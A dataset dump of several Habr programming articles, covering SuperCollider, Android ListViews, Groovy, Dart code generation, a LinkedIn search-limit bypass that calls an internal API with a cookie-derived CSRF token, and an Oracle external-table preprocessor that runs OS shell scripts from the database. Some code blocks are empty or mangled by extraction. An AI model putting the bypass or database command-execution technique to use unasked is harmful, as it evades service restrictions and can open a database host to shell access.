text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Введение в SuperCollider
В этой небольшой статье вкратце расскажу о том, что такое SuperCollider и продемонстрирую примеры его использования. SuperCollider — это open-source кроссплотформенное клиент-серверное приложение, среда разработки и язык программирования для аудиосинтеза в реальном (и не только) времени. Первый релиз увидел свет в 1996 году под авторством James McCartney, это был open-source продолжение его предыдущих изысканий в программном аудиосинтезе. Со временем к проекту присоединилось еще несколько человек. Сайт проекта хоститься на [sourceforge.net](http://supercollider.sourceforge.net/). Есть версии для Linux ( в т.ч. ubuntu ppa ), Windows, MacOS (так же готовятся iPhone и Android версии).
#### Среда
В качестве среды разработки, в зависимости от платформы, может использоваться нативный редактор (в случае Windows или Mac) или плагин к gedit, vim, emacs (Linux). Всё что нужно — это разобраться с комбинациями клавиш для запуска сервера и интерпретатора. Так же с сервером можно «общаться» по протоколу Open Sound Control (OSC) используя другие языки, но на мой взгляд интереснее разобраться с “родным” языком.
#### Язык
Первоначально в качестве основы языка была взята концепция Smalltalk, но со временем язык по утверждению авторов приобрёл черты других языков. В итоге получился весьма экспрессивный и компактный язык. Ниже приведу несколько примеров, а подробное описание языка можно найти в документации в разделе “Language Reference”.
Можно писать GUI к своим аудио экспериментам — есть много полезных заготовок: слайдеры, кнобы, анализаторы и прочее. Кроме того в качестве контроллеров можно использовать устройства MIDI, Wiimote и другие HID (human input device).
#### Примеры
SuperCollider потребует много времени для глубокого освоения взамен давая широкие возможности для самовыражения и т.п. В силу их многообразия приведу самые простые примеры. Детальную информацию всегда можно найти в объемном хелпе содержащим, кроме всего прочего, несколько туториалов.
Начнём с простого “синта” и пойдем дальше:
1) Синусоидальный сигнал 200Гц в один канал (1-ый — левый по-умолчанию)
`{ SinOsc.ar(200) }.play;`
*SinOsc — это простейший “UGen” (Unit Generator). ознакомиться с набором UGen’ов (Unit Generators) можно в соответствующем разделе помощи.*
2) Тоже самое, но стерео
`{ SinOsc.ar(200) ! 2 }.play;`
3) Стерео, но разные фазы в каждый канал
`{ Mix2.ar(SinOsc.ar(200, pi/2), SinOsc.ar(200)) }.play;`
*или, как пример многоканального расширения (в примере на 4 канала, с разностью фаз = pi/4)*
`{ SinOsc.ar(200, [0, pi/4, pi/2, pi/4*3]) }.play;`
4) Переведение сигнала из одного канала в другой c частотой регулируемой положением курсора мыши (от 0.1 до 50 Гц) по горизонтали
`{ Pan2.ar(SinOsc.ar(200), SinOsc.kr(MouseX.kr(0.1,50))) }.play;`
5) Модулирование частоты сигнала и частоты переведения из одного канала в другой
`{ Pan2.ar(SinOsc.ar(150, add: SinOsc.kr(50, mul: 20)), SinOsc.kr(SinOsc.kr(0.1).abs*10)) }.play;`
6) Тоже самое, но с треугольной огибающей
`{ Pan2.ar(SinOsc.ar(150, add: SinOsc.kr(50, mul: 20)), SinOsc.kr(SinOsc.kr(0.1).abs*25), 1) * EnvGen.ar(Env.triangle(20, 1)) }.play;`
Теперь создадим синт:
`SynthDef(\simple_synth, { |freq = 60, dur = 0.25, amp = 0.8, out|
Out.ar(out, SinOsc.ar(freq)*EnvGen.ar(Env.triangle(dur, amp), doneAction:2) ! 2);
}).add;`
и “сыграем” на нём паттерн:
`Pbind(
\freq, Pseq([ Pseries(50, 10, 50), Pseries(550, -20, 25) ], inf),
\dur, 1/8
).play;`
*Pbind, Pseq, Pseries — это одни их базовых элементов для создания мелодий и ритмических рисунков. Кроме них, есть множество других (например Pfsm для использования модели finite-state-machine), которые можно комбинировать. Конечно, никто не запрещает писать свои паттерны используя нужный алгоритм.*
#### Ссылки
· [Сайт проекта](http://supercollider.sourceforge.net)
· [Примеры кода с возможностью послушать](http://supercollider.sourceforge.net/audiocode-examples/)
· [Документация](http://supercollider.svn.sourceforge.net/viewvc/supercollider/trunk/common/build/Help/Help.html)
· Книжка [The SuperCollider Book](http://supercolliderbook.net) (охватывает все аспекты SC и даже больше — *must have*)
#### Итого
SuperCollider подойдет для тех кому не хватает классических DAW (digital audio workstation) и кто хочет получить более гибкий инструмент для создания музыки, живых выступлений и прочих аудио (и визуальных) экспериментов. | https://habr.com/ru/post/123133/ | null | ru | null |
# Создаем ListView с Context Action Bar как в новом Gmail
#### Что хотим получить
Сделать плавно работающий список с возможностью выделения рядов как кликом на иконку ряда, так и долгим нажатием на него. Также, дабы выделение не пропало даром, мы должны дать возможность пользователю производить некие действия с выделенными объектами.
#### Создание разметки для списка
Итак, в первую очередь нам потребуется создать layout, в котором будет находиться список, выглядит он так:
```
```
Кроме множества падингов, любезно созданных для меня [android developer studio](http://developer.android.com/sdk/installing/studio.html), здесь ничего интересного нет. Разве что напомню: **android:id/list** — это специально выделенный ID, который знают ListActivity и ListFragment.
Далее создадим layout, который будет являться каждым рядом в нашем ListView:
```
xml version="1.0" encoding="utf-8"?
```
Здесь у нас TextView, расположенный справа от View. На месте View обычно картинка, но в данном примере мы будем просто отображать случайно сгенерированный цвет.
Также обратите внимание на **android:background="?android:attr/activatedBackgroundIndicator"** в свойствах layout. Без этого атрибута не будет виден визуальный эффект выделения.
#### Создаем ListView и заполняем его
Сразу приведу код activity, а затем поясню его:
```
public class MainActivity extends ListActivity {
public static final String TAG = "FOR_HABR";
private Random randomGenerator = new Random();
@Override
protected void onCreate(Bundle savedInstanceState) {
Log.d(TAG, "onCreate");
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
//генерируем размер нашего листа
int size = getRandomNumber(200);
ListView listView = getListView();
//Создаем инстанс нашего кастомного адаптера
Integer[] colors = generateListOfColors(size).toArray(new Integer[0]);
ArrayAdapter customAdapter = new CustomAdapter(this, R.layout.list\_view\_row, colors, listView);
listView.setAdapter(customAdapter);
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
Log.d(TAG, "onCreateOptionsMenu");
getMenuInflater().inflate(R.menu.main, menu);
return true;
}
//Генерируем список из случайных цветов
private List generateListOfColors(int size) {
List result = new ArrayList();
for (int i = 0; i < size; i++) {
result.add(generateRandomColor());
}
return result;
}
//Генерируем случайный цвет
private int generateRandomColor() {
return Color.rgb(getRandomNumber(256), getRandomNumber(256), getRandomNumber(256));
}
private int getRandomNumber(int maxValue) {
return randomGenerator.nextInt(maxValue);
}
}
```
Здесь мы первым делом находим по ID layout, в котором будет размещен наш лист, и назначаем его контентом этого activity. Для того чтобы заполнить ListView информацией, мы в начале генерируем список из чисел и передаем его в конструктор нашего кастомного адаптера.
Адаптер — это мост между данными и отображением, в нем мы подсказываем системе, где и какой компонент каждого ряда списка мы хотели бы видеть. Вот код нашего адаптера:
```
public class CustomAdapter extends ArrayAdapter {
private ListView listView;
public CustomAdapter(Context context, int textViewResourceId, Integer[] objects, ListView listView) {
super(context, textViewResourceId, objects);
this.listView = listView;
}
static class ViewHolder {
TextView text;
View indicator;
}
@Override
public View getView(final int position, View convertView, ViewGroup parent) {
Integer color = getItem(position);
View rowView = convertView;
//Небольшая оптимизация, которая позволяет повторно использовать объекты
if (rowView == null) {
LayoutInflater inflater = ((Activity) getContext()).getLayoutInflater();
rowView = inflater.inflate(R.layout.list\_view\_row, parent, false);
ViewHolder h = new ViewHolder();
h.text = (TextView) rowView.findViewById(R.id.item\_text);
h.indicator = rowView.findViewById(R.id.item\_image);
rowView.setTag(h);
}
ViewHolder h = (ViewHolder) rowView.getTag();
h.text.setText("#" + Integer.toHexString(color).replaceFirst("ff", ""));
h.indicator.setBackgroundColor(color);
return rowView;
}
}
```
Мы переписываем всего один метод из родительского класса — метод getView. Этот метод вызывается каждый раз, когда в поле зрения пользователя появляется новый ряд списка. Соответственно, из него мы должны вернуть объект View именно в том виде, в котором желаем отобразить его пользователю.
Здесь мы применяем популярный шаблон, который позволяет нам немного (до 15%) увеличить производительность ListView за счет повторного использования объектов. Более подробно прочитать про этот шаблон можно [здесь](http://developer.android.com/training/improving-layouts/smooth-scrolling.html).
На этом этапе можно запустить приложении, и мы увидим список с цветами, но, конечно, без какого-либо интерактива.
#### Добавляем возможность выбора ряда
Для этого требуется сделать следующие:
```
//Указываем ListView, что мы хотим режим с мультивыделением
listView.setChoiceMode(ListView.CHOICE_MODE_MULTIPLE_MODAL);
//Указываем обработчик такого режима
listView.setMultiChoiceModeListener(new MultiChoiceImpl(listView));
```
Обработчик выглядит так:
```
public class MultiChoiceImpl implements AbsListView.MultiChoiceModeListener {
private AbsListView listView;
public MultiChoiceImpl(AbsListView listView) {
this.listView = listView;
}
@Override
//Метод вызывается при любом изменении состояния выделения рядов
public void onItemCheckedStateChanged(ActionMode actionMode, int i, long l, boolean b) {
Log.d(MainActivity.TAG, "onItemCheckedStateChanged");
int selectedCount = listView.getCheckedItemCount();
//Добавим количество выделенных рядов в Context Action Bar
setSubtitle(actionMode, selectedCount);
}
@Override
//Здесь надуваем CAB из xml
public boolean onCreateActionMode(ActionMode actionMode, Menu menu) {
Log.d(MainActivity.TAG, "onCreateActionMode");
MenuInflater inflater = actionMode.getMenuInflater();
inflater.inflate(R.menu.context_menu, menu);
return true;
}
@Override
public boolean onPrepareActionMode(ActionMode actionMode, Menu menu) {
Log.d(MainActivity.TAG, "onPrepareActionMode");
return false;
}
@Override
//Вызывается при клике на любой Item из СAB
public boolean onActionItemClicked(ActionMode actionMode, MenuItem menuItem) {
String text = "Action - " + menuItem.getTitle() + " ; Selected items: " + getSelectedFiles();
Toast.makeText(listView.getContext(), text , Toast.LENGTH_LONG).show();
return false;
}
@Override
public void onDestroyActionMode(ActionMode actionMode) {
Log.d(MainActivity.TAG, "onDestroyActionMode");
}
private void setSubtitle(ActionMode mode, int selectedCount) {
switch (selectedCount) {
case 0:
mode.setSubtitle(null);
break;
default:
mode.setTitle(String.valueOf(selectedCount));
break;
}
}
private List getSelectedFiles() {
List selectedFiles = new ArrayList();
SparseBooleanArray sparseBooleanArray = listView.getCheckedItemPositions();
for (int i = 0; i < sparseBooleanArray.size(); i++) {
if (sparseBooleanArray.valueAt(i)) {
Integer selectedItem = (Integer) listView.getItemAtPosition(sparseBooleanArray.keyAt(i));
selectedFiles.add("#" + Integer.toHexString(selectedItem).replaceFirst("ff", ""));
}
}
return selectedFiles;
}
}
```
Вероятно, вы заметили, что здесь мы надуваем новый Action Bar (context\_menu). Он выглядит так:
```
```
Итак, теперь по порядку. В ListView мы устанавливаем специальный режим выделения — **CHOICE\_MODE\_MULTIPLE\_MODAL**, который подразумевает, что мы подсунем ListView класс, реализующий интерфейс **AbsListView.MultiChoiceModeListener**. В этом классе мы реализуем методы, в которых указываем, что хотим получить на событие выделения, клика по item в CAB или на уничтожение CAB.
Теперь осталось добавить возможность выделения ряда по клику на иконку. Для этого требуется навесить на нее в методе getView OnClickListener:
```
h.indicator.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
selectRow(v);
}
private void selectRow(View v) {
listView.setItemChecked(position, !isItemChecked(position));
}
private boolean isItemChecked(int pos) {
SparseBooleanArray sparseBooleanArray = listView.getCheckedItemPositions();
return sparseBooleanArray.get(pos);
}
});
```
Здесь, в случае если ряд уже выделен, снимаем выделение, в противном случае выделяем.
На этом все. Полный код примера можно найти у меня на [BitBucket](https://bitbucket.org/andrey_kidinov/cab-example/src/4e9ee3655ee8/ForHabr?at=default).
UPD. Практически все, что использовано в этой статье было добавлено в API 11, а кое-что даже в 14. Так, что если хотите совместимости с API < 11, советую посмотреть [сюда](http://www.miximum.fr/tutos/849-porting-the-contextual-anction-mode-for-pre-honeycomb-android-apps).
Так же есть замечательная разработка [товарища](http://habrahabr.ru/users/Prototik/) — [HoloEverywhere](https://github.com/Prototik/HoloEverywhere) | https://habr.com/ru/post/185004/ | null | ru | null |
# ЖЖ в БД (скрипт на Groovy)
В продолжении темы маленьких скриптов на groovy — еще один.
Предыдущие: [Большие письма](http://habrahabr.ru/blogs/google/110738/) в Gmail, [Упражнение](http://habrahabr.ru/blogs/development/108431/) на сложение (LATEX)
Новый скрипт показывает основы работы с XML и базой данных в Groovy. В качестве задачи выберем сохранение нашей уютной ЖЖшки из XML в базу данных.
Зачем это делать? — SQL нам расскажет всё о нашем (или чужом) ЖЖ — темы, комменты, таги — насколько фантазии хватит собирать статистику
Сначало нам надо скачать ЖЖ в XML.
Это сделает чужая утилита — [ljdump](http://hewgill.com/ljdump/)
Придется установить Питон, открыть IDLE (Python GUI), загрузить туда утилиту и запустить. Всё спросит она сама.
После её пробега у вас будет директория с файлами LXXX — посты и CXXX — комменты.
А на эти XMLи мы и запустим мой скрипт.
В этом виде он использует pure Java, embedded базу данных Hypersonic (HSQLDB), но можно подключиться к любой, конечно же. Только убедитесь, что JDBC driver у вас в classpath.
Парсинг и работа с БД такого типа годятся только для скриптов и небольших программ. В энтерпрайзе никто не будет загружать весь XML в память (а будут использовать SAX), и никто не будет напрямую слать SQL (а будет Connection Pool, prepared statement, batch, Hibernate какой нибудь).
То, что мы парсим выглядит примерно так:
```
xml version="1.0"?
1
2006-04-09 16:52:00
http://my-ljnick.livejournal.com/460.html
1144601520
3
1148051408
Открыл себе журнал
Но писать в него пока не буду
204
```
Вот скрипт:
```
import groovy.sql.Sql
import java.sql.Timestamp
def sql = Sql.newInstance("jdbc:hsqldb:file:lj", "sa", "", "org.hsqldb.jdbcDriver")
// delete table if previously created
try { sql.execute("drop table POST")} catch (Exception e) {}
try { sql.execute("drop table COMMENT")} catch (Exception e) {}
// create table
sql.execute('''create table POST (
id integer not null primary key,
url varchar(100),
subject varchar(100),
text varchar(10000),
postdate timestamp
)''')
sql.execute('''create table COMMENT (
id integer not null primary key,
postid integer,
user varchar(100),
subject varchar(100),
text varchar(10000),
commentdate timestamp,
parentcomment integer
)''')
sql.execute(''' alter table COMMENT add constraint c_postid foreign key (postid) references POST (id)
''')
def dir = "D:\\development\\ljdump-1.5.1\\my_lj\\"
List files = new File(dir).listFiles().findAll { it.name.startsWith("L") }
files.each {
record ->
def event = new XmlSlurper().parse(record)
int id = Integer.parseInt(event.itemid.text())
Date d = Date.parse("yyy-MM-dd HH:mm:ss", event.eventtime.text()) //No time zone
java.sql.Timestamp sqlDate = new java.sql.Timestamp(d.time)
String url = event.url.text()
String subject = event.subject.text()
String text = event.event.text()
sql.execute("insert into post (id,url,subject, text, postdate) values ($id, $url, $subject,$text,$sqlDate )")
File commentsFile = new File(dir + record.name.replace('L', 'C'));
if (commentsFile.exists()) {
def comments = new XmlSlurper().parse(commentsFile).comment
comments.each() {
comment ->
String state = comment.state.text()
if (!"D".equals(state)) { // not deleted
int commentid = Integer.parseInt(comment.id.text())
String user = comment.user.text()
String parentIdStr = comment.parentid.text()
int parentid = 0;
if (!parentIdStr.isEmpty())
Integer.parseInt(parentIdStr)
Date commentDate = Date.parse("yyy-MM-dd HH:mm:ss", comment.date.text().replace('T',' '))
Timestamp sqlCommentTime = new Timestamp(commentDate.time)
String commentsubject = comment.subject.text();
String body = comment.body.text()
sql.execute("insert into comment (id,user,subject,text,commentdate,parentcomment, postid) values ($commentid,$user, $commentsubject, $body, $sqlCommentTime, $parentid, $id)")
}
}
}
}
sql.close();
```
Конечно же его можно улучшить:
1. Сохранять автора поста (Важно, если парсите комьюнити)
2. Сделать чтобы получал директорию с файлами и URL базы данных как аргумент
Можно улучшить схему:
1. Сохранять таги
2. Хранить авторов в отдельной таблице
3. Добавить индексы
Можно добавить директиву [Grab](http://habrahabr.ru/users/grab/), чтобы не надо было добавлять драйверы в classpath (я пробывал, у меня не получилось :( )
Теперь глянем как эту базу можно использовать.
Составим список моих постов у которых больше 50 комментов:
```
@Grab('hsqldb:hsqldb:1.8.0.7')
import groovy.sql.Sql
Sql sql = Sql.newInstance("jdbc:hsqldb:file:lj", "sa", "", "org.hsqldb.jdbcDriver")
sql.eachRow("select subject, url, (select count (*) from comment where postid = mypost.id) as numcom from POST as mypost order by numcom desc")
{ row -> if (row.numcom>50) println row}
```
Вот и всё.
Надеюсь кому нибудь будет полезно. | https://habr.com/ru/post/113941/ | null | ru | null |
# Bypassing LinkedIn Search Limit by Playing With API
***[Because [my extension](https://adam4leos.github.io/) got a lot of attention from the foreign audience, I translated [my original article](https://habr.com/en/post/462167/) into English]***.
Limit
-----
Being a top-rated professional network, LinkedIn, unfortunately, for free accounts, has such a limitation as [Commercial Use Limit](https://www.linkedin.com/help/linkedin/answer/52950/commercial-use-limit?lang=en) (CUL). Most likely, you, same as me until recently, have never encountered and never heard about this thing.
The point of the CUL is that when you search people outside your connections/network too often, your search results will be limited with only 3 profiles showing instead of 1000 (100 pages with 10 profiles per page by default). How ‘often’ is measured nobody knows, there are no precise metrics; the algorithm decides it based on your actions – how frequently you’ve been searching and how many connections you’ve been adding. The free CUL resets at midnight PST on the 1st of each calendar month, and you get your 1000 search results again, for who knows how long. Of course, [Premium accounts have no such limit in place](https://premium.linkedin.com/unlimited-search).
However, not so long ago, I’ve started messing around with LinkedIn search for some pet-project, and suddenly got stuck with this CUL. Obviously, I didn’t like it that much; after all, I haven’t been using the search for any commercial purposes. So, my first thought was to explore this limit and try to bypass it.
[Important clarification — all source materials in this article are presented solely for informational and educational purposes. The author doesn't encourage their use for commercial purposes.]
**#### Important Update — LinkedIn took into account this backdoor and recently they have fixed it. Backdoor and plugin do not working anymore.**
Studying the Problem
--------------------
What we got: instead of 10 profiles with pagination the search tool shows only 3, which are followed by a ‘recommendation’ to buy a Premium account and then you see other blurred unclickable profiles.
The first though you have as developer is to open Browser Developer Tools to examine those hidden/blurred profiles — maybe you could remove some styles responsible for the blurring, or extract the data from the layout/markup block. But, as could be expected, these profiles are shown as just the [placeholder images](https://static-exp2.licdn.com/sc/h/evqo1kpq96o3utp9hjmjv7wxu) and do not contain any data.
Okay, now let’s go to a Network tab and check if the alternative search results really return only 3 profiles. So, we find the query we’re interested in – “/api/search/blended” – and look at the response.
Profiles are contained in the `included` array, but there are also already 15 entities in it. In this case, the first 3 of them are the objects with additional data – each object contains information on a particular profile (for example, if the profile is a Premium one).
The next 12 profiles are real – it’s actually those search results, of which only 3 will be shown to us. As you can already guess, LinkedIn displays only those profiles that received the additional information (the first 3 objects). For example, if you explore the search response from the profile without a limit, 28 entities will be returned – 10 objects with additional info and 18 profiles.
**Response for a profile without a limit**
> I'm not sure yet why there are more than 10 profiles returned, while 10 are requested, and they aren’t displayed to a user – you won’t see them even on the next page. If you analyze the request URL, you’d see that count = 10 (how many profiles to return in the response, 49 is the max.).
>
>
>
> 
>
>
>
> Any comments on this subject would be much appreciated.
Experimenting
-------------
Okay, now we know the most important thing for sure — response comes with more profiles than LinkedIn shows us. So, we can obtain more data, despite the CUL. Let's try to pull the API ourselves right from the console, using fetch.
As expected, we get the 403 error. This is a security issue – here we don’t send a CSRF token ([CSRF on Wikipedia](https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B0%D0%B9%D1%82%D0%BE%D0%B2%D0%B0%D1%8F_%D0%BF%D0%BE%D0%B4%D0%B4%D0%B5%D0%BB%D0%BA%D0%B0_%D0%B7%D0%B0%D0%BF%D1%80%D0%BE%D1%81%D0%B0)). In a nutshell, it’s a unique token that is added to each request, which is checked on the server-side for authenticity.
You can copy it from any other successful request or from cookies, where it’s stored in the 'JSESSIONID' field.
**Where to find a token**Heading of any other request:
From the cookies, right through console:
Let’s try again; this time, we pass the settings to fetch. In the settings, we specify our CSRF token as a parameter in the header.
Success, all 10 profiles are returned. :tada:
> Because of the difference in the headers, the response structure slightly differs from what comes in the original request. You can get the same exact structure if you add 'Accept:' application/vnd.linkedin.normalized+json+2.1' into our object, next to the CSRF token.
>
>
>
> **Sample of a response with the added header**
>
>
>
> More about the Accept Header
What's Next?
------------
Now you can edit (manually or automatically) the `start` parameter that specifies the index, starting from which we can receive 10 profiles (by default = 0) from the entire search result. In other words, incrementing it by 10 after each request, we get our usual pagination, 10 profiles per page.
At this stage, I’ve got enough data and freedom to continue working on the pet-project. But it would be a sin not to try to display this data right away since it was in my hands. We won’t dive into the Ember used for the frontend. As the JQuery was integrated on the website, you can dig out from your memory the knowledge of the basic syntax, and create the following thing in a couple of minutes.
**JQuery Code**
```
/* render the block, receive profile data, and insert the block in the profiles’ list, using this data */
const createProfileBlock = ({ headline, publicIdentifier, subline, title }) => {
$('.search-results__list').append(
`- [](/in/${publicIdentifier}/)
[###
${title.text}](/in/${publicIdentifier}/)
${headline.text}
${subline.text}
- `
);
};
// fetch data and render the profiles
const fetchProfiles = () => {
// token
const csrf = 'ajax:9082932176494192209';
// оbject with the request settings, pass the token
const settings = { headers: { 'csrf-token': csrf } }
// request URL, with a dynamic start index at the end
const url = `https://www.linkedin.com/voyager/api/search/blended?count=10&filters=List(geoRegion-%3Ejp%3A0,network-%3ES,resultType-%3EPEOPLE)&origin=FACETED\_SEARCH&q=all&queryContext=List(spellCorrectionEnabled-%3Etrue,relatedSearchesEnabled-%3Etrue)&start=${nextItemIndex}`;
/\* make a request, for each profile in the response call the block rendering, and then increment the starting index by 10 \*/
fetch(url, settings).then(response => response.json()).then(data => {
data.elements[0].elements.forEach(createProfileBlock);
nextItemIndex += 10;
});
};
// delete all profiles from the list
$('.search-results\_\_list').find('li').remove();
// insert the ‘download profiles’ button
$('.search-results\_\_list').after('Load More');
// add the functionality to the button
$('#load-more').addClass('artdeco-button').on('click', fetchProfiles);
// set the default profile index for the request
window.nextItemIndex = 0;
```
If you do this actions directly in the console on the search page, you’ll add a button that loads 10 new profiles each time you click on it, and renders them as a list. Of course, you’ll have to change a token and URL appropriately to the necessary ones. The profile block will contain a name, job position, location, a link to the profile, and a placeholder image.
Conclusion
Therefore, with a minimum of effort, we were able to find a weak spot and regain our search option without any limitations. It was enough to analyze the data and its path and look into the query itself.
I can’t say that this is a serious problem for LinkedIn because it represents no threat. Worst that could happen is a loss of profit because of such «bypassing,» which allows you not to buy a Premium account. Perhaps, such server’s response is necessary for the other parts of the website to work correctly, or this is simply the laziness of the developers lack of resources, which does not allow doing better (The CUL appeared in January 2015, before there was no limit at all).
P. S.
-----
**Old P. S.**Sure, the jQuery code is a pretty primitive example of capabilities. Currently, I’ve created a browser extension to fit my needs. It adds control buttons and renders fully-featured profiles with pictures, an invitation button, and mutual connections. Plus, it dynamically collects filters of locations, companies, and other things, and pulls a token from cookies. So you don’t have to hardcode anything. Also, the extension adds additional settings fields, e.g. “how many profiles to request at once, up to 49.”
I’m still working on this extension, and I plan to make it publicly available.
Message me if you’re interested.
By popular demand to release this extension as open-source product, I created a browser extension and posted it for public use (free and even without miners). It has not only the limit bypass functionality but also some other features. You can have a look at it and download it here – [adam4leos.github.io](https://adam4leos.github.io/)
Since this is an alpha version, don’t hesitate to notify me about bugs, your ideas, or even about a
stoned cool UI. I keep improving the extension and will post new versions from time to time.
**#### Important Update — LinkedIn took into account this backdoor and recently they have fixed it. Backdoor and plugin do not working anymore.** | https://habr.com/ru/post/466801/ | null | en | null |
# Кодогенерация в Dart. Часть 1. Основы
Известно, что для программиста очень хорошо быть *ленивым*, потому что **делать больше с меньшими затратами — ключ к прогрессу**. Никто не любит делать одно и то же снова и снова. Это утомительно, скучно, да и совсем не креативно. Повторяя одно и то же действие мы часто делаем ошибки, но, к счастью, есть те, кто действительно хорош и эффективен в выполнении однотипных задач. И это *КОМПЬЮТЕРЫ*!
На сегодняшний день **кодогенерация это возможность сделать работу за наименьший промежуток времени**. Основная идея проста: найти закономерность в однотипных и утомительных участках кода, которые приходится писать снова и снова, создать инструмент для генерации, запустить его и увидеть, как происходит волшебство!
В мире Android разработки такие инструменты хорошо известны каждому разработчику. Это и Retrofit, и Dagger, и Room. А как насчет Dart? И не менее важный вопрос: что нам нужно, чтобы создавать собственные инструменты для кодогенерации?
Dart и кодогенерация: доступные инструменты
===========================================
Чтобы создать инструмент для кодогенерации, нам потребуются следующие два пакета:
* [source\_gen](https://github.com/dart-lang/source_gen)
* [build\_runner](https://github.com/dart-lang/build/tree/master/build_runner)
source\_gen
-----------
Этот пакет предоставляет удобный API для генерации кода. Это абстракция над некоторыми низкоуровневыми Dart-пакетами, такими как [analyzer](https://pub.dartlang.org/packages/analyzer) и [build](https://pub.dartlang.org/packages/build). Несмотря на то, что использование этого пакета не является обязательным, он может избавить вас от многих трудностей.
source\_gen предоставляет два абстрактных класса-генератора, которые следуют паттерну *Посетитель*:
* `Generator`: при наследовании этого класса будет посещаться каждый элемент вашего кода. Таким образом у вас есть полный контроль над тем, что сделать с каждым посещенным узлом или элементом.
* `GeneratorForAnnotation`: этот класс похож на простой Generator, но при наследовании этого класса вы также указываете "аннотацию". Таким образом, посещаться будут только те узлы, которые аннотированы данной аннотацией. Остальные участки кода будут проигнорированы.
Также необходимо сконфигурировать `Builder`, который будет оберткой над генератором. Есть три варианта:
* Если вы хотите написать `partial` участок кода, то следует выбрать `SharedPartBuilder`. "part" позволяет вам разделить библиотеку на несколько Dart-файлов. `SharedPartBuilder` создает файл с расширением `.g.dart`.
* Вы также можете использовать `PartBuilder`, если хотите использовать "part" подход, но вам требуется больший контроль над расширением сгенерированного файла, например, `.my_file.dart`.
* Если вы хотите написать самостоятельную библиотеку, которая может быть импортирована, используйте `LibraryBuilder`.
build\_runner
-------------
Этот инструмент позволяет запустить генератор на этапе разработки. Он может быть вызван из конандной строки:
```
pub run build_runner
```
На месте может быть:
* `build`: запускает генерацию один раз.
* `watch`: запускает демона, который отслеживает изменения в файлах и запускает генерацию, когда потребуется.
* `serve`: похож на watch, но запускается также как сервер разработки.
* `test`: запускает генерацию один раз, создает общую выходную директорию и затем запускает `pub run test --precompiled` .
Чтобы `source_gen` заработал, нужно также создать файл `buil.yaml`, в котором указываются детали конфигурации кодогенератора.
Использование кодогенерации в Dart
==================================
Кодогенерация используется во многих известных библиотеках для Dart:
* [built\_value](https://github.com/google/built_value.dart)
* [json\_serializable](https://github.com/dart-lang/json_serializable)
* [kiwi](https://github.com/letsar/kiwi)
* [chopper](https://github.com/lejard-h/chopper)
* [moor](https://github.com/simolus3/moor) (примечание переводчика)
Далее...
========
Во [второй части](https://habr.com/post/446264/) будет показано как использовать аннотации и кодогенерацию для отслеживания всех `TODO` в приложении. | https://habr.com/ru/post/445824/ | null | ru | null |
# Выполнение внешнего файла из БД Oracle с целью получения информации о дисковом пространстве
Зачастую для тех или иных нужд возникает необходимость выполнить команду OS из pl/sql или даже sql внутри Oracle Database.
Ниже описывается один из способов и его применение в задаче определения доступного дискового пространства.
Предлагаемый способ заключается в использование добавленного в 11.2 функционала «Препроцессинг данных внешних таблиц».
Таким образом нам потребуется создать объекты:
* Directory — в ней будет располагаться наш скрипт препроцессинга и на неё будет ссылаться таблица
* external organization table — обращение к которой будет вызывать выполнение скрипта
* script — собственно сам файл который будет выполнять требуемое нам действие в OS
Пример создания требуемых объектов:
```
-- directory
create or replace directory UTIL_DIR as '/u01'
/
-- table
CREATE TABLE T_OS_COMMAND (
v_line varchar2(4000) )
ORGANIZATION external
( TYPE oracle_loader
DEFAULT DIRECTORY UTIL_DIR
ACCESS PARAMETERS
( RECORDS DELIMITED BY NEWLINE
preprocessor UTIL_DIR:'os_command.sh'
FIELDS TERMINATED BY "\n" LDRTRIM
)
location ( 'os_command.sh')
)
/
```
Лучше всего иметь отдельную directory для наших целей ввиду того что нам потребуется одновременно и права на запись в ней и права на выполнение, а такую комбинацию лучше никому не выдавать.
Оптимальное использование это создание пакета (хоть и в схеме SYS) в спецификации которого описаны процедуры, которым необходимо обращение к OS, а саму реализацию оставить внутри пакета и никого к ней не подпускать.
Далее подразумевается что права на чтение, запись и выполнение к UTIL\_DIR у нас имеются, также как и права на select из T\_OS\_COMMAND.
Для создания файла который будет выполнятся достаточно выполнить в OS (да придется хоть раз выполнить действия в OS прибегнув к более тривиальным методам — например ssh):
```
$touch /u01/os_command.sh
$chmod ug+x /u01/os_command.sh
```
Данные команды должны быть выполнены от пользователя (либо члена группы) от которых запускается экземпляр БД.
Всё готово к использованию. Для выполнения произвольной команды OS нам следует записать её в файл os\_command.sh и обратиться с запросом к таблице T\_OS\_COMMAND.
```
declare
F1 UTL_FILE.FILE_TYPE;
begin
F1 := UTL_FILE.FOPEN('UTIL_DIR','os_command.sh','W', 4048);
UTL_FILE.PUT_LINE (file => F1, buffer => '#!/bin/sh');
UTL_FILE.PUT_LINE (file => F1, buffer => 'export LANG=en_US.UTF-8');
UTL_FILE.PUT_LINE (file => F1, buffer => 'export PATH=$PATH:/bin');
UTL_FILE.PUT_LINE (file => F1, buffer => 'df -k | grep /');
UTL_FILE.fclose (file => F1);
end;
/
```
Теперь для получения результата работы нашего скрипт достаточно выполнить запрос к таблице T\_OS\_COMMAND
**При выполнении в OS команды df -k | grep / мы получим**
```
/dev/sda2 32414672 14870956 15870548 49% /
/dev/sda1 124427 18001 100002 16% /boot
tmpfs 8219820 184808 8035012 3% /dev/shm
/dev/sdb2 961432104 606013444 306580660 67% /u02
```
**При выполнении запроса SELECT \* FROM T\_OS\_COMMAND**
| V\_LINE |
| --- |
|
```
/dev/sda2 32414672 14871076 15870428 49% /
```
|
|
```
/dev/sda1 124427 18001 100002 16% /boot
```
|
|
```
tmpfs 8219820 184808 8035012 3% /dev/shm
```
|
|
```
/dev/sdb2 961432104 606013444 306580660 67% /u02
```
|
Далее можно приступать к реализации непосредственно методов которым необходим вызов команд OS.
Примером такой реализации может выступать пакет [P\_SYS\_UTILITY](https://github.com/giam777/Utility/blob/master/P_SYS_UTILITY.pck). Пожелания по его развитию и участие в оном приветствуются.
**Спецификация пакета**
```
create or replace package P_SYS_UTILITY is
-- Author : ALEXEY
-- Created : 23.08.2013
-- Purpose : Get system info (*nix versions)
/*
Get on file or folder name its device or ASM group and used/free space on it
* raw devices not supported
*/
procedure Get_Disk_Usage ( p_file_name in varchar2, -- file name (also accept only path)
